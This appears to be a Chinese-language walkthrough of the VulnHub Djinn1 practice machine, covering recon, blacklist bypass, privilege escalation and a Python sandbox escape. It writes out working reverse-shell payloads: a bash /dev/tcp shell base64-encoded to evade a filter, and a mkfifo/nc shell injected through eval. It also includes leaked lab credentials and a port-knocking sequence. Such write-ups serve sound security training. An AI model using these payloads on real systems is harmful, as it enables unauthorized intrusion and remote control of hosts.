渗透测试——Djinn1靶场详细渗透提权过程讲解(绕过黑名单限制,命令执行反弹shell,pyc反编译,代码白盒分析,python沙盒逃逸)

本文系统性地分析了渗透测试靶机Djinn1中的Bypass技术与Shell重构机制。文章剖析了黑名单防御的局限性,以端口碰撞技术说明访问控制绕过原理;深入拆解Python沙盒逃逸漏洞,演示获取反弹Shell的链路,并提供标准TTY升级方案。

文章目录


靶机介绍

基于黑名单的安全防御虽能拦截已知的高危命令,但由于攻击特征无法被完全穷举,该机制不可避免地存在检测遗漏。攻击者常通过变换技术手法来改变攻击特征,从而成功规避检测并绕过安全防护,这就是业内常说的 bypass 技术

本次实践的目标主机来自VulnHub平台,主机名为Djinn 1

前置准备

我们将下载的文件导入到VirtualBox平台,并设置好网络配置:

随后设置好网段,打开靶机后得到如下页面:

随后打开Vmware的Kali作为我们的渗透机:

可以得到:

  • Kali攻击:192.168.56.120
  • 目标机器:192.168.56.122

话不多说,我们直接开始提权渗透操作;

信息收集

这里我们使用nmap 等工具对目标机器进行服务端口扫描:

bash 复制代码
nmap -sC -sV -A -T4 -p- 192.168.56.122

结果如下:

当然我也推荐可以使用其他工具;我们从nmap可以得到四个开放的服务以及端口:

  • 21端口:FTP服务(允许匿名访问,可能泄露敏感信息文件)
  • 22端口:SSH服务(状态为"过滤filtered",不是常见的"开放open" 可能无法直接访问)
  • 1337端口:未知/存疑服务(检测结果不准确,需再次手工检测)
  • 7331端口:HTTP服务(可尝试对其进行浏览器访问)

Web目录枚举

我们可以发现7331端口开放了HTTP服务,所以我们可以访问 http://192.168.56.122:7331/ ,页面如下:

查看Ctrl+U源代码,并没有发现什么有效信息;

所以这里我们使用工具扫描一下其是否还存在哪些隐藏的目录文件

bash 复制代码
python dirsearch.py -u http://192.168.56.122:7331/

没有发现?

那就换个工具,使用gobuster执行如下命令:

bash 复制代码
gobuster_Windows_x86_64>gobuster.exe dir -u http://192.168.56.122:7331/ -w C:\Users\Leco\Desktop\directory-list-2.3-medium.txt

成功得到结果:

渗透提权

简陋的命令执行页面

找到了两个 可以访问的Web链接,我们首先尝试访问其中的链接 http://192.168.56.122:7331/wish

看起来是一个设计非常简易的命令执行界面,我们随便执行一下命令,如id,whoami等收集信息:

(1)看来我们执行的命令触发了某些 "屏蔽词",造成了页面的错误:

不仔细看还真被他唬住了。。。

(2)我们尝试在命令执行页面输入带有反弹shell功能的命令,例如输入获得反弹shell的命令:

bash 复制代码
bash -i >& /dev/tcp/192.168.56.120/8888 0>&1

# kali建立监听
nc -lvvp 8888

其中192.168.56.120是Kali的IP地址;

可以发现返回了Wrong choice of words,说明被屏蔽了;

即被提示使用了错误的命令,这也就意味着这里针对特定的不安全命令是有执行限制的,也就是我们常说的基于黑名单的安全检测机制

  • 当然也有相应的解决办法:
  • base64编码绕过
  • php伪协议绕过

这里我们将上述payload进行base64编码,得到结果:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEyMC84ODg4IDA+JjE=

再次尝试执行,得到结果:

bash 复制代码
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEyMC84ODg4IDA+JjE= |base64 -d |bash

我们可以看到直接反弹了shell:

随后我们输入入python-c 'import pty;pty.spawn("/bin/bash")'开启一个标准bash终端,然后使用stty raw -echo命令禁用终端回显;

目标主机本地脆弱性枚举

在我们获得反弹shell的当前目录/opt/80下,存在一个名为app.py的文件:


该文件中包含了一个疑似登录凭证信息的文件;随后我们查看该文件内容,确认包含疑似为另一个用户的登录凭证信息:

  • 账号:nitish
  • 密码:p4ssw0rdStr3r0n9

因此我们使用su命令和上述凭证信息尝试获取nitish用户权限:


报错

大家如果这一步切换用户失败提示:su: must be run from a terminal

bash 复制代码
www-data@djinn:/home$ stty raw -echo
stty raw -echo
stty: 'standard input': Inappropriate ioctl for device
www-data@djinn:/home$ su nitish
su nitish
su: must be run from a terminal
www-data@djinn:/home$

报错 su: must be run from a terminal 是因为你当前通过反弹或后门获取的 shell 仅仅是输入输出流的重定向,并没有分配真实的伪终端 (PTY)。

而尝试使用的 stty raw -echo 其实是一套标准"终端升级(TTY Upgrade)"流程的一部分,但执行顺序和位置错了stty raw -echo 应该在你的本地攻击机上执行,而不是直接在目标机器上执行。

第一步:在当前界面)利用 Python 派生一个 PTY

尝试输入以下命令:

bash 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

第二步:将 shell 挂起到后台

按下键盘上的组合键:

text 复制代码
Ctrl + Z

此时会退回到 本地物理机(Kali/攻击机) 的命令行终端。

第三步:在你的本地攻击机上配置终端模式

在本地终端输入以下命令并回车(注意:输入 fg 后回车,会将刚才挂起的 shell 调回前台):

bash 复制代码
stty raw -echo; fg

此时可能会显示之前输入的命令,或者什么都不显示,直接按一次或两次 回车键

第四步:在目标机器上重置终端环境

此时已经回到了目标机器 djinn 的 shell 中。为了让清屏(clear)等快捷键生效,设置一下环境变量:

bash 复制代码
export TERM=xterm

完成以上四步后,你现在拥有了一个完美的交互式终端。支持 Ctrl+C 中断程序而不掉线,支持 Tab 键补全。


这里我们切换到nitish用户后,输入sudo-l命令,发现该用户可以免密码以sam身份执行 /usr/bin/genie

基于上述信息尝试执行命令:

bash 复制代码
sudo -u sam /usr/bin/genie -h

不安全的程序功能

冷知识:我们会默认-h或者-help等程序自带的帮助参数选项会提供完整的帮助信息,而实际上真正获得完整帮助信息的方法应该是使用man命令;

  • man命令在Linux系统中它可以向用户提供各程序的完整操作信息
  • 我们输入man /usr/bin/genie命令时,会获得一个更详细的帮助说明

要查看剩余内容,请直接在键盘上按以下快捷键:

  • 空格键 (Space) 或 Page Down:向下翻一整页(最常用,推荐)。
  • 回车键 (Enter) 或 方向键 ↓:向下滚动一行(适合逐行仔细阅读)。
  • b 键 或 Page Up:向上回退一页。
  • q 键:退出手册,回到原本的命令行终端。

成功发现了一个新参数cmd,重新执行命令:

bash 复制代码
sudo -u sam /usr/bin/genie -cmd hello

成功获得了sam用户的权限;以sam用户身份再次执行sudo -l命令

发现可以以root身份,无密使用 /root/lago程序(猜测又是一个自行编写的程序脚本)

尝试逐个执行其中的选项,所有的选项还是没有向我们提供有价值的输出。

泄露的pyc文件

对于刚刚获取的程序脚本,我们并不知道应该如何使用并获取root权限,所以我们只能他退而求其次,对sam用户进行信息收集:

发现一个名为.pyc的文件;

.pyc格式的文件是基于Python的.py格式编译后所生成的文件,通过strings.pyc命令,我们可

以查看该文件中存在的字符串信息:

根据上图,该编译文件对应的可执行文件很有可能就是之前执行的/root/lago,换句话说,如果我们有办法将该编译文件进行反编译,就可以成功获得/root/lago的内部逻辑,获取root权限;

python反编译

之前做应急响应的时候,也遇到过py反编译的场景:

随后将目标主机系统上的.pyc文件下载到本地:

bash 复制代码
kali:nc -l -p 1234 > 1.pyc
目标机器: nc -w 4 192.168.56.120 1234 < .pyc

成功下载到本地:

使用如下命令对其进行反编译分析,获得其Python源代码:

bash 复制代码
uncompyle6 1.pyc

执行命令如下:

得到结果:

python 复制代码
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '
    return

def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'
    return

def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)
    return

def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice


def main(op):
    if op == 1:
        naughtyboi()
    elif op == 2:
        guessit()
    elif op == 3:
        readfiles()
    elif op == 4:
        print 'work your ass off!!'
    else:
        print 'Do something better with your life'
    return

if __name__ == '__main__':
    main(options())
return
# okay decompiling 1.pyc

根据代码,我们可以触发 system('/bin/sh') 命令创建/bin/sh终端(意味着我们可以获取root权限直接getshell)

关键代码:

python 复制代码
def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'
    return

程序首先通过randint() 函数随机从1到101中选择一个整数,并要求我们输入一个数字,如果我们输入的数字与其随机选择的数字相符,则向我们提供一个/bin/sh终端,反之则提示 "Better Luck next time"

input()代码执行漏洞

这段代码的提权核心在于利用了 Python 2.x 版本中 input() 函数的代码执行漏洞 。在该版本中,input() 函数会将用户的输入当作 Python 代码来解析;这意味着,如果你在输入时填入的是代码内部已有的变量名,程序会自动提取并返回该变量的真实数值。

结合当前的提权场景,虽然程序要求我们准确猜出一个随机数字,但由于该随机数被存储在了变量 num 中,我们只需直接输入变量名 num 即可。利用这个漏洞,input() 函数会自动将 num 解析为正确的随机数值并完成匹配,让我们无需靠运气盲猜,就能百分之百绕过验证逻辑并拿到 root 权限。

基于源码分析的结果,我们再次执行如下命令:

bash 复制代码
sudo /root/lago

并依次输入2和num,即可成功获得一个root权限的/bin/sh终端;

至此,我们成功getshell;

但是,真的结束了吗?

1337端口未知服务代码白盒分析

run_challenge.sh文件内容

获得root权限之后,可以回过头再来看一下目标主机1337端口的访问情况,1337端口服务对应的程序位于目标主机的/opt/1337目录下:

该目录下存在三个文件,先通过cat命令查看其中run_challenge.sh文件的内容:

app.py文件内容

由此可以看出,该文件直接以Python命令执行了app.py文件,因此继续查看app.py文件的内容:

python 复制代码
# cat app.py
#!/usr/bin/env python3
import sys
from random import choice, randint
from pyfiglet import print_figlet

def add(a,b): return a+b
def div(a,b): return int(a/b)
def multiply(a,b): return a*b
def sub(a,b): return a-b

print_figlet("Game Time")
print("Let's see how good you are with simple maths")
print("Answer my questions 1000 times and I'll give you your gift.")

OPERATIONS = ['+', '-', "/", "*"]

def main():
    for i in range(1001):
        a = randint(1,9)
        b = randint(1,9)
        op = choice(OPERATIONS)

        print(a,op,b)

        if op == "+":
            val = add(a,b)

        if op == "-":
            val = sub(a,b)

        if op == "/":
            val = div(a,b)

        if op == "*":
            val = multiply(a,b)

        try:
            In = int(input("> "))
        except Exception:
            print("Stop acting like a hacker for a damn minute!!")
            sys.exit(1)

        if In == val:
            continue
        else:
            print("Wrong answer")
            sys.exit(1)

    with open("/opt/1337/p0rt5", 'r') as f:
        print(f.read())

if __name__ == "__main__":
    main()

由上述代码内容可以看出,此代码所实现的功能便是我们在访问目标主机系统1337端口时被提供的服务。

根据app.py文件的Python代码可知,如果我们按其要求连续成功答对1000次随机生成的数学运算问题,就可以获得p0rt5文件的内容;反之,若期间答错任意一次,则会被断开连接,前功尽弃。此外,如果程序判定它获得了非数字类型的答案,那么就会告警提示存在黑客攻击行为并断开连接。

p0rt5文件内容

看一下p0rt5文件的内容:

p0rt5文件向我们提供了三组数字,即1356, 6784, 3409。这三组数字由逗号分隔,且在大于1小于等于65535这个范围内;

根据经验,这里面可能涉及一种名为端口碰撞的技术;

端口碰撞技术介绍

端口碰撞(Port knocking) 是一种通过特定"暗号"来控制端口访问权限的安全机制。被保护的目标端口默认处于隐藏状态;

  • 只有当访问者按照预先设定的正确顺序,依次对一组特定的端口(如本例中的 1356、6784、3409)发起访问请求后,系统才会向该访问者开放真实服务端口的连接权限,从而实现仅允许特定人员接入的安全限制。

端口碰撞操作可以通过nmap快速实现:

bash 复制代码
for x in 1356 6784 3409; do nmap -Pn --max-retries 0 -p $x 192.168.192.156; done

上述命令设置了一个循环语句,该语句会使用nmap按顺序分别访问一次上述三个端口,执行结果如下:

这个时候我们再进行"端口扫描",可以发现ssh服务的状态已经从"过滤"(filtered)变为了"开

放"(open)状态:

利用Python沙盒逃逸漏洞

通过对前面app.py文件的代码进行分析,我们可以了解到,1337端口的服务运行时,我们的输入是直接提供给Python执行环境的,而且在该过程中并没有限制我们输入的内容,这里实际存在一种名为Python沙盒逃逸的漏洞。

bash 复制代码
telnet 192.168.56.122 1337

由于我们输入的命令是直接提供给Python环境执行且没有特定内容限制的,因此如果我们输入某些Python中存在的可执行系统命令的函数,大概率是可以直接获得命令执行结果的。例如利用Python中的eval()函数执行如下命令。

python 复制代码
eval('__import__("os").system("id")')

若该命令被Python环境成功执行,将获得id命令的执行结果。将该命令提供给目标主机1337端口,果然成功获得了系统命令id的执行结果,这就意味着该Python程序存在Python沙盒逃逸漏洞,且该Python沙盒拥有root权限!

知道了该问题的存在,可以直接对上述服务构造具有反弹shell功能的命令,例如输入如下命令:

python 复制代码
eval('__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.120 443 >/tmp/f")')

# kali命令
nc -lvnp 443


我们直接在Kali主机本地443端口获得了来自目标主机的root权限的反弹shell连接,意味着可直接控制该目标主机!

总结

通过此次实践,我们初步了解并利用bypass技术绕过了黑名单安全机制,同时还额外介绍了端口碰撞技术以及Python沙盒绕过技术手段。在实际渗透测试中,我们常常用到类似但更为复杂的bypass技术来绕过waf、防火墙等安全软件的功能限制。绕过特定安全软件的方法很多,网上有大量关于bypass技术的文章,大家可通过搜索引擎查找学习。

相关推荐
web守墓人1 小时前
【go语言】go语言实现go-torch, 完成Lenet-5的搭建,训练,以及pth和onnx模型导出
开发语言·后端·golang
TEC_INO1 小时前
Linux50:ROCKX+RV1126视频流检测人脸
开发语言·前端·javascript
平凡但不平庸的码农1 小时前
Go 语言常用标准库详解
开发语言·后端·golang
下载居1 小时前
Node.js(Javascript运行环境) 26.1
开发语言·javascript·node.js
范什么特西1 小时前
第一个Mybatis
java·开发语言·mybatis
超梦dasgg1 小时前
智慧充电系统计费定价服务Java 实现
java·开发语言·spring·微服务
Ares-Wang2 小时前
AI》》欧氏距离、曼哈顿距离 切比雪夫距离 等
人工智能·python
vx-程序开发2 小时前
PHP书店网站-计算机毕业设计源码05274
开发语言·php·课程设计
陈eaten2 小时前
windows上协调多版本python以及虚拟环境
开发语言·windows·python·pycharm·pip·虚拟环境·py